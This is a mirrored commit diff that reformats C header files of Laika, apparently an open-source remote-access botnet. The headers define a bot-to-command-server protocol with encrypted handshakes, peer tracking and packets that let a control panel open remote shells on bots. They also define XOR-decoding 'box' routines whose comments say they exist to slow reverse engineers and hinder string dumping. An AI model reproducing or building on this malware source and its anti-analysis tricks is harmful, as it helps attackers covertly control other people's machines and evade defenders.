mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-04 07:10:07 +00:00
Added .clang-format, formatted codebase
This commit is contained in:
@@ -1,32 +1,36 @@
|
||||
#ifndef LAIKA_LAIKA_H
|
||||
#define LAIKA_LAIKA_H
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "lconfig.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifdef DEBUG
|
||||
# define LAIKA_DEBUG(...) printf("[~] " __VA_ARGS__); fflush(stdout);
|
||||
# define LAIKA_DEBUG(...) \
|
||||
printf("[~] " __VA_ARGS__); \
|
||||
fflush(stdout);
|
||||
#else
|
||||
# define LAIKA_DEBUG(...) ((void)0) /* no op */
|
||||
# define LAIKA_DEBUG(...) ((void)0) /* no op */
|
||||
#endif
|
||||
|
||||
#ifndef _MSC_VER
|
||||
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
|
||||
# define LAIKA_FORCEINLINE __attribute__((always_inline)) inline
|
||||
#else
|
||||
# define LAIKA_FORCEINLINE __forceinline
|
||||
# define LAIKA_FORCEINLINE __forceinline
|
||||
#endif
|
||||
|
||||
LAIKA_FORCEINLINE int MIN(int a, int b) {
|
||||
LAIKA_FORCEINLINE int MIN(int a, int b)
|
||||
{
|
||||
return a < b ? a : b;
|
||||
}
|
||||
|
||||
LAIKA_FORCEINLINE int MAX(int a, int b) {
|
||||
LAIKA_FORCEINLINE int MAX(int a, int b)
|
||||
{
|
||||
return a > b ? a : b;
|
||||
}
|
||||
|
||||
|
@@ -1,38 +1,43 @@
|
||||
#ifndef LAIKA_BOX_H
|
||||
#define LAIKA_BOX_H
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#include "laika.h"
|
||||
#include "lmem.h"
|
||||
#include "lvm.h"
|
||||
#include "lsodium.h"
|
||||
#include "lvm.h"
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_BOX_SCRATCH_SIZE 128
|
||||
#define LAIKA_BOX_HEAPSIZE 256
|
||||
#define LAIKA_BOX_HEAPSIZE 256
|
||||
|
||||
enum {
|
||||
enum
|
||||
{
|
||||
LAIKA_BOX_UNLOCKED_INDX, /* for output */
|
||||
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
|
||||
LAIKA_BOX_DATA_INDX /* for input */
|
||||
LAIKA_BOX_SCRATCH_INDX, /* for misc. scratch work the vm needs to do (hold keys, etc.) */
|
||||
LAIKA_BOX_DATA_INDX /* for input */
|
||||
};
|
||||
|
||||
/* Laika Box:
|
||||
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short amount of time.
|
||||
Of course, this can be bypassed with a simple debugger and setting a breakpoint right after the data is 'unlocked',
|
||||
but the game of obfuscation isn't to prevent the data from being seen, it's to slow the reverse engineer down.
|
||||
/* Laika Box:
|
||||
Laika Boxes are obfuscated storage mediums where data is only in memory for a very short
|
||||
amount of time. Of course, this can be bypassed with a simple debugger and setting a breakpoint
|
||||
right after the data is 'unlocked', but the game of obfuscation isn't to prevent the data from
|
||||
being seen, it's to slow the reverse engineer down.
|
||||
|
||||
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
|
||||
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
|
||||
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
|
||||
dumping. These apis, while can be used directly, are abstracted through macros with the pre-built boxes.
|
||||
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to
|
||||
make it more painful for the reverse engineer to quickly dump boxes from memory, forcing them to
|
||||
set breakpoints across the executable. Each box has its own VM, with it's own deobfuscation
|
||||
routine. This makes static analysis a painful route for string dumping. These apis, while can be
|
||||
used directly, are abstracted through macros with the pre-built boxes.
|
||||
|
||||
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in `lboxconfig.h` are passed
|
||||
to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will be extended in the future with more boxes and such,
|
||||
however for the time being only LAIKA_BOX_SKID_* is implemented.
|
||||
Use LAIKA_BOX_SKID_START & LAIKA_BOX_SKID_END for quick and dirty usage. The data macros in
|
||||
`lboxconfig.h` are passed to these, which are generated by VMBoxGen (`tools/vmboxgen`). This will
|
||||
be extended in the future with more boxes and such, however for the time being only
|
||||
LAIKA_BOX_SKID_* is implemented.
|
||||
*/
|
||||
|
||||
struct sLaikaB_box {
|
||||
struct sLaikaB_box
|
||||
{
|
||||
uint8_t unlockedData[LAIKA_BOX_HEAPSIZE];
|
||||
uint8_t scratch[LAIKA_BOX_SCRATCH_SIZE];
|
||||
uint8_t code[LAIKA_VM_CODESIZE];
|
||||
@@ -40,74 +45,74 @@ struct sLaikaB_box {
|
||||
|
||||
/* ======================================[[ Box Var API ]]====================================== */
|
||||
|
||||
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
|
||||
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
|
||||
type ident; \
|
||||
struct sLaikaB_box __box##ident = box; \
|
||||
laikaB_unlock(&__box##ident, __data##ident); \
|
||||
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
|
||||
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
|
||||
type ident; \
|
||||
struct sLaikaB_box __box##ident = box; \
|
||||
laikaB_unlock(&__box##ident, __data##ident); \
|
||||
ident = (type)__box##ident.unlockedData;
|
||||
|
||||
#define LAIKA_BOX_ENDVAR(ident) \
|
||||
laikaB_lock(&__box##ident);
|
||||
#define LAIKA_BOX_ENDVAR(ident) laikaB_lock(&__box##ident);
|
||||
|
||||
#ifdef LAIKA_OBFUSCATE
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
||||
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
|
||||
# define LAIKA_BOX_SKID_END(ident) \
|
||||
LAIKA_BOX_ENDVAR(ident)
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
||||
LAIKA_BOX_STARTVAR(type, ident, LAIKA_BOX_SKID(KEY_##strmacro), DATA_##strmacro)
|
||||
# define LAIKA_BOX_SKID_END(ident) LAIKA_BOX_ENDVAR(ident)
|
||||
#else /* disable obfuscations */
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) \
|
||||
type ident = strmacro;
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
# define LAIKA_BOX_SKID_START(type, ident, strmacro) type ident = strmacro;
|
||||
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
|
||||
#endif
|
||||
|
||||
/* ======================================[[ Laika Boxes ]]====================================== */
|
||||
|
||||
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
|
||||
#define LAIKA_BOX_SKID(_key) { \
|
||||
.unlockedData = {0}, /* reserved */ \
|
||||
.code = { /* stack layout: \
|
||||
[0] - unlockedData (ptr) \
|
||||
[1] - data (ptr) \
|
||||
[2] - key (uint8_t) \
|
||||
[3] - working data (uint8_t) \
|
||||
*/ \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \
|
||||
/* LOOP_START */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
|
||||
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
OP_EXIT \
|
||||
} \
|
||||
}
|
||||
#define LAIKA_BOX_SKID(_key) \
|
||||
{ \
|
||||
.unlockedData = {0}, /* reserved */ \
|
||||
.code = { /* stack layout: \
|
||||
[0] - unlockedData (ptr) \
|
||||
[1] - data (ptr) \
|
||||
[2] - key (uint8_t) \
|
||||
[3] - working data (uint8_t) \
|
||||
*/ \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, LAIKA_BOX_UNLOCKED_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, LAIKA_BOX_DATA_INDX), \
|
||||
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), /* LOOP_START */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
|
||||
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
|
||||
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
|
||||
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
|
||||
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
|
||||
OP_EXIT \
|
||||
} \
|
||||
}
|
||||
|
||||
/* ======================================[[ Raw Box API ]]====================================== */
|
||||
|
||||
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
|
||||
LAIKA_FORCEINLINE void *laikaB_unlock(struct sLaikaB_box *box, void *data)
|
||||
{
|
||||
struct sLaikaV_vm vm = {
|
||||
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
||||
.constList = {
|
||||
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||
},
|
||||
.code = {0},
|
||||
.stack = {0},
|
||||
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */
|
||||
.constList =
|
||||
{
|
||||
[LAIKA_BOX_UNLOCKED_INDX] = LAIKA_MAKE_VM_PTR(box->unlockedData),
|
||||
[LAIKA_BOX_SCRATCH_INDX] = LAIKA_MAKE_VM_PTR(box->scratch),
|
||||
[LAIKA_BOX_DATA_INDX] = LAIKA_MAKE_VM_PTR(data),
|
||||
},
|
||||
.code = { 0 },
|
||||
.stack = { 0 },
|
||||
.pc = 0
|
||||
};
|
||||
|
||||
memcpy(vm.code, box->code, LAIKA_VM_CODESIZE);
|
||||
laikaV_execute(&vm);
|
||||
return (void*)box->unlockedData;
|
||||
return (void *)box->unlockedData;
|
||||
}
|
||||
|
||||
/* safely zeros the unlockedData using libsodium's api for clearing sensitive data from memory */
|
||||
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box) {
|
||||
LAIKA_FORCEINLINE void laikaB_lock(struct sLaikaB_box *box)
|
||||
{
|
||||
sodium_memzero(box->unlockedData, LAIKA_BOX_HEAPSIZE);
|
||||
sodium_memzero(box->scratch, LAIKA_BOX_SCRATCH_SIZE);
|
||||
}
|
||||
|
@@ -1,18 +1,23 @@
|
||||
#ifndef LAIKA_ERROR_H
|
||||
#define LAIKA_ERROR_H
|
||||
|
||||
#include <stdio.h>
|
||||
#include <setjmp.h>
|
||||
|
||||
#include "laika.h"
|
||||
|
||||
#include <setjmp.h>
|
||||
#include <stdio.h>
|
||||
|
||||
/* defines errorstack size */
|
||||
#define LAIKA_MAXERRORS 32
|
||||
|
||||
/* DO NOT RETURN/GOTO/BREAK or otherwise skip LAIKA_TRYEND */
|
||||
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
|
||||
#define LAIKA_CATCH } else {
|
||||
#define LAIKA_TRYEND } --eLaika_errIndx;
|
||||
#define LAIKA_TRY if (setjmp(eLaika_errStack[++eLaika_errIndx]) == 0) {
|
||||
#define LAIKA_CATCH \
|
||||
} \
|
||||
else \
|
||||
{
|
||||
#define LAIKA_TRYEND \
|
||||
} \
|
||||
--eLaika_errIndx;
|
||||
|
||||
/* if eLaika_errIndx is >= 0, we have a safe spot to jump too if an error is thrown */
|
||||
#define LAIKA_ISPROTECTED (eLaika_errIndx >= 0)
|
||||
@@ -23,24 +28,25 @@
|
||||
arguments are ignored.
|
||||
*/
|
||||
#ifndef DEBUG
|
||||
#define LAIKA_ERROR(...) do { \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while(0);
|
||||
#define LAIKA_WARN(...) ((void)0) /* no op */
|
||||
# define LAIKA_ERROR(...) \
|
||||
do { \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while (0);
|
||||
# define LAIKA_WARN(...) ((void)0) /* no op */
|
||||
#else
|
||||
#define LAIKA_ERROR(...) do { \
|
||||
printf("[ERROR] : " __VA_ARGS__); \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while(0);
|
||||
# define LAIKA_ERROR(...) \
|
||||
do { \
|
||||
printf("[ERROR] : " __VA_ARGS__); \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
longjmp(eLaika_errStack[eLaika_errIndx], 1); \
|
||||
else \
|
||||
exit(1); \
|
||||
} while (0);
|
||||
|
||||
#define LAIKA_WARN(...) \
|
||||
printf("[WARN] : " __VA_ARGS__);
|
||||
# define LAIKA_WARN(...) printf("[WARN] : " __VA_ARGS__);
|
||||
#endif
|
||||
|
||||
extern int eLaika_errIndx;
|
||||
|
@@ -7,37 +7,39 @@
|
||||
|
||||
/* microsoft strikes again with their lack of support for VLAs */
|
||||
#if _MSC_VER
|
||||
#define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type)*sz);
|
||||
#define ENDVLA(var) laikaM_free(var);
|
||||
# define VLA(type, var, sz) type *var = laikaM_malloc(sizeof(type) * sz);
|
||||
# define ENDVLA(var) laikaM_free(var);
|
||||
#else
|
||||
#define VLA(type, var, sz) type var[sz];
|
||||
#define ENDVLA(var) ((void)0) /* no op */
|
||||
# define VLA(type, var, sz) type var[sz];
|
||||
# define ENDVLA(var) ((void)0) /* no op */
|
||||
#endif
|
||||
|
||||
#define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
|
||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||
#define laikaM_free(buf) laikaM_realloc(buf, 0)
|
||||
|
||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||
if (count + needed >= capacity || buf == NULL) { \
|
||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||
buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
|
||||
#define laikaM_growarray(type, buf, needed, count, capacity) \
|
||||
if (count + needed >= capacity || buf == NULL) { \
|
||||
capacity = (capacity + needed) * GROW_FACTOR; \
|
||||
buf = (type *)laikaM_realloc(buf, sizeof(type) * capacity); \
|
||||
}
|
||||
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(buf, count, indx, numElem) do { \
|
||||
int _i, _sz = ((count-indx)-numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx+_i] = buf[indx+numElem+_i]; \
|
||||
count -= numElem; \
|
||||
} while(0);
|
||||
/* moves array elements above indx down by numElem, removing numElem elements at indx */
|
||||
#define laikaM_rmvarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i, _sz = ((count - indx) - numElem); \
|
||||
for (_i = 0; _i < _sz; _i++) \
|
||||
buf[indx + _i] = buf[indx + numElem + _i]; \
|
||||
count -= numElem; \
|
||||
} while (0);
|
||||
|
||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertarray(buf, count, indx, numElem) do { \
|
||||
int _i; \
|
||||
for (_i = count; _i > indx; _i--) \
|
||||
buf[_i] = buf[_i-1]; \
|
||||
count += numElem; \
|
||||
} while(0);
|
||||
/* moves array elements above indx up by numElem, inserting numElem elements at indx */
|
||||
#define laikaM_insertarray(buf, count, indx, numElem) \
|
||||
do { \
|
||||
int _i; \
|
||||
for (_i = count; _i > indx; _i--) \
|
||||
buf[_i] = buf[_i - 1]; \
|
||||
count += numElem; \
|
||||
} while (0);
|
||||
|
||||
void *laikaM_realloc(void *buf, size_t sz);
|
||||
|
||||
|
@@ -3,101 +3,108 @@
|
||||
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_MAGIC "LAI\x12"
|
||||
#define LAIKA_MAGICLEN 4
|
||||
#define LAIKA_MAGIC "LAI\x12"
|
||||
#define LAIKA_MAGICLEN 4
|
||||
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
#define LAIKA_MAX_PKTSIZE 4096
|
||||
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPSTR_LEN 64
|
||||
#define LAIKA_INET_LEN 22
|
||||
#define LAIKA_HOSTNAME_LEN 64
|
||||
#define LAIKA_IPSTR_LEN 64
|
||||
#define LAIKA_INET_LEN 22
|
||||
|
||||
#define LAIKA_SHELL_DATA_MAX_LENGTH 2048
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
|
||||
/* first handshake between peer & cnc works as so:
|
||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname & inet ip
|
||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
||||
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then sent
|
||||
*/
|
||||
|
||||
/* encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
|
||||
LAIKAPKT_ID pktID; -- plain text
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
|
||||
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
||||
*/
|
||||
#define LAIKA_MAX_SHELLS 16
|
||||
|
||||
/*
|
||||
first handshake between peer & cnc works as so:
|
||||
- peer connects to cnc and sends a LAIKAPKT_HANDSHAKE_REQ with the peer's pubkey, hostname &
|
||||
inet ip
|
||||
- after cnc receives LAIKAPKT_HANDSHAKE_REQ, all packets are encrypted
|
||||
- cnc responds with LAIKAPKT_HANDSHAKE_RES
|
||||
- if peer is an authenticated client (panel), LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ is then
|
||||
sent
|
||||
|
||||
encrypted packets are laid out like so: (any packet sent/received where peer->useSecure is true)
|
||||
{
|
||||
LAIKAPKT_ID pktID; -- plain text
|
||||
uint8_t nonce[crypto_secretbox_NONCEBYTES]; -- plain text
|
||||
uint8_t body[pktSize + crypto_secretbox_MACBYTES]; -- encrypted with shared key & nonce
|
||||
}
|
||||
|
||||
any packet ending with *_RES is cnc 2 peer
|
||||
any packet ending with *_REQ is peer 2 cnc
|
||||
if packet doesn't have either, it can be sent & received by both peer & cnc
|
||||
*/
|
||||
enum {
|
||||
/* =========================================[[ Peer ]]========================================== */
|
||||
|
||||
enum
|
||||
{
|
||||
/* =======================================[[ Peer ]]======================================== */
|
||||
LAIKAPKT_VARPKT,
|
||||
/* layout of LAIKAPKT_VARPKT:
|
||||
* LAIKAPKT_SIZE pktSize;
|
||||
* LAIKAPKT_ID pktID;
|
||||
*/
|
||||
* LAIKAPKT_SIZE pktSize;
|
||||
* LAIKAPKT_ID pktID;
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_REQ, /* first packet sent by peer & received by cnc */
|
||||
/* layout of LAIKAPKT_HANDSHAKE_REQ: *NOTE* ALL DATA IN THIS PACKET IS SENT IN PLAINTEXT!!
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
* uint8_t osType;
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
|
||||
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
*/
|
||||
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
|
||||
* uint8_t majorVer;
|
||||
* uint8_t minorVer;
|
||||
* uint8_t osType;
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted
|
||||
* nonce with char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes) char
|
||||
* inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
|
||||
*/
|
||||
LAIKAPKT_HANDSHAKE_RES,
|
||||
/* layout of LAIKAPKT_HANDSHAKE_RES:
|
||||
* uint8_t cncEndian;
|
||||
*/
|
||||
* uint8_t cncEndian;
|
||||
*/
|
||||
LAIKAPKT_PINGPONG,
|
||||
/* layout of LAIKAPKT_PINGPONG:
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
* NULL (empty packet)
|
||||
*/
|
||||
LAIKAPKT_SHELL_OPEN,
|
||||
/* layout of LAIKAPKT_SHELL_OPEN:
|
||||
* uint32_t id;
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
* uint32_t id;
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
LAIKAPKT_SHELL_CLOSE,
|
||||
/* layout of LAIKAPKT_SHELL_CLOSE:
|
||||
* uint32_t id;
|
||||
*/
|
||||
* uint32_t id;
|
||||
*/
|
||||
LAIKAPKT_SHELL_DATA,
|
||||
/* layout of LAIKAPKT_SHELL_DATA
|
||||
* uint32_t id;
|
||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||
*/
|
||||
/* =========================================[[ Auth ]]========================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
|
||||
* uint32_t id;
|
||||
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
|
||||
*/
|
||||
/* =======================================[[ Auth ]]======================================== */
|
||||
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel).
|
||||
there is no response packet */
|
||||
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_ADD_PEER_RES, /* notification that a peer has connected to the cnc */
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_ADD_PEER_RES
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||
* char inet[LAIKA_INET_LEN];
|
||||
* char ipStr[LAIKA_IPSTR_LEN];
|
||||
* uint8_t peerType;
|
||||
* uint8_t osType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* char hostname[LAIKA_HOSTNAME_LEN];
|
||||
* char inet[LAIKA_INET_LEN];
|
||||
* char ipStr[LAIKA_IPSTR_LEN];
|
||||
* uint8_t peerType;
|
||||
* uint8_t osType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc
|
||||
*/
|
||||
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no response packet, shell is assumed to be open */
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint8_t peerType;
|
||||
*/
|
||||
LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ, /* panel requesting cnc open a shell on bot. there is no
|
||||
response packet, shell is assumed to be open */
|
||||
/* layout of LAIKAPKT_AUTHENTICATE_OPEN_SHELL_REQ
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- pubkey of said bot
|
||||
* uint16_t cols;
|
||||
* uint16_t rows;
|
||||
*/
|
||||
LAIKAPKT_MAXNONE
|
||||
};
|
||||
|
||||
@@ -105,7 +112,7 @@ typedef uint8_t LAIKAPKT_ID;
|
||||
typedef uint16_t LAIKAPKT_SIZE;
|
||||
|
||||
#ifdef DEBUG
|
||||
const char* laikaD_getPacketName(LAIKAPKT_ID);
|
||||
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
||||
#endif
|
||||
|
||||
#endif
|
@@ -2,66 +2,75 @@
|
||||
#define LAIKA_PEER_H
|
||||
|
||||
#include "laika.h"
|
||||
#include "lsocket.h"
|
||||
#include "lpacket.h"
|
||||
#include "lpolllist.h"
|
||||
#include "lsocket.h"
|
||||
#include "lsodium.h"
|
||||
|
||||
typedef enum {
|
||||
typedef enum
|
||||
{
|
||||
PEER_UNKNWN,
|
||||
PEER_BOT,
|
||||
PEER_CNC, /* cnc 2 cnc communication */
|
||||
PEER_AUTH /* authorized peers can send commands to cnc */
|
||||
} PEERTYPE;
|
||||
|
||||
typedef enum {
|
||||
typedef enum
|
||||
{
|
||||
OS_UNKNWN,
|
||||
OS_WIN,
|
||||
OS_LIN
|
||||
} OSTYPE;
|
||||
|
||||
#ifdef _WIN32
|
||||
# define LAIKA_OSTYPE OS_WIN
|
||||
# define LAIKA_OSTYPE OS_WIN
|
||||
#else
|
||||
# ifdef __linux__
|
||||
# define LAIKA_OSTYPE OS_LIN
|
||||
# else
|
||||
# define LAIKA_OSTYPE OS_UNKNWN
|
||||
# endif
|
||||
# ifdef __linux__
|
||||
# define LAIKA_OSTYPE OS_LIN
|
||||
# else
|
||||
# define LAIKA_OSTYPE OS_UNKNWN
|
||||
# endif
|
||||
#endif
|
||||
|
||||
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
|
||||
|
||||
struct sLaika_peerPacketInfo {
|
||||
struct sLaika_peerPacketInfo
|
||||
{
|
||||
PeerPktHandler handler;
|
||||
LAIKAPKT_SIZE size;
|
||||
bool variadic;
|
||||
};
|
||||
|
||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) [ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
||||
#define LAIKA_CREATE_PACKET_INFO(ID, HANDLER, SIZE, ISVARIADIC) \
|
||||
[ID] = {.handler = HANDLER, .size = SIZE, .variadic = ISVARIADIC}
|
||||
|
||||
struct sLaika_peer {
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
|
||||
struct sLaika_peer
|
||||
{
|
||||
struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting
|
||||
sLaika_peer* to sLaika_sock* works as intended */
|
||||
uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */
|
||||
uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES];
|
||||
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
void *uData; /* data to be passed to pktHandler */
|
||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||
PEERTYPE type;
|
||||
OSTYPE osType;
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
int outStart; /* index of pktID for out packet */
|
||||
int inStart; /* index of pktID for in packet */
|
||||
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
|
||||
};
|
||||
|
||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData);
|
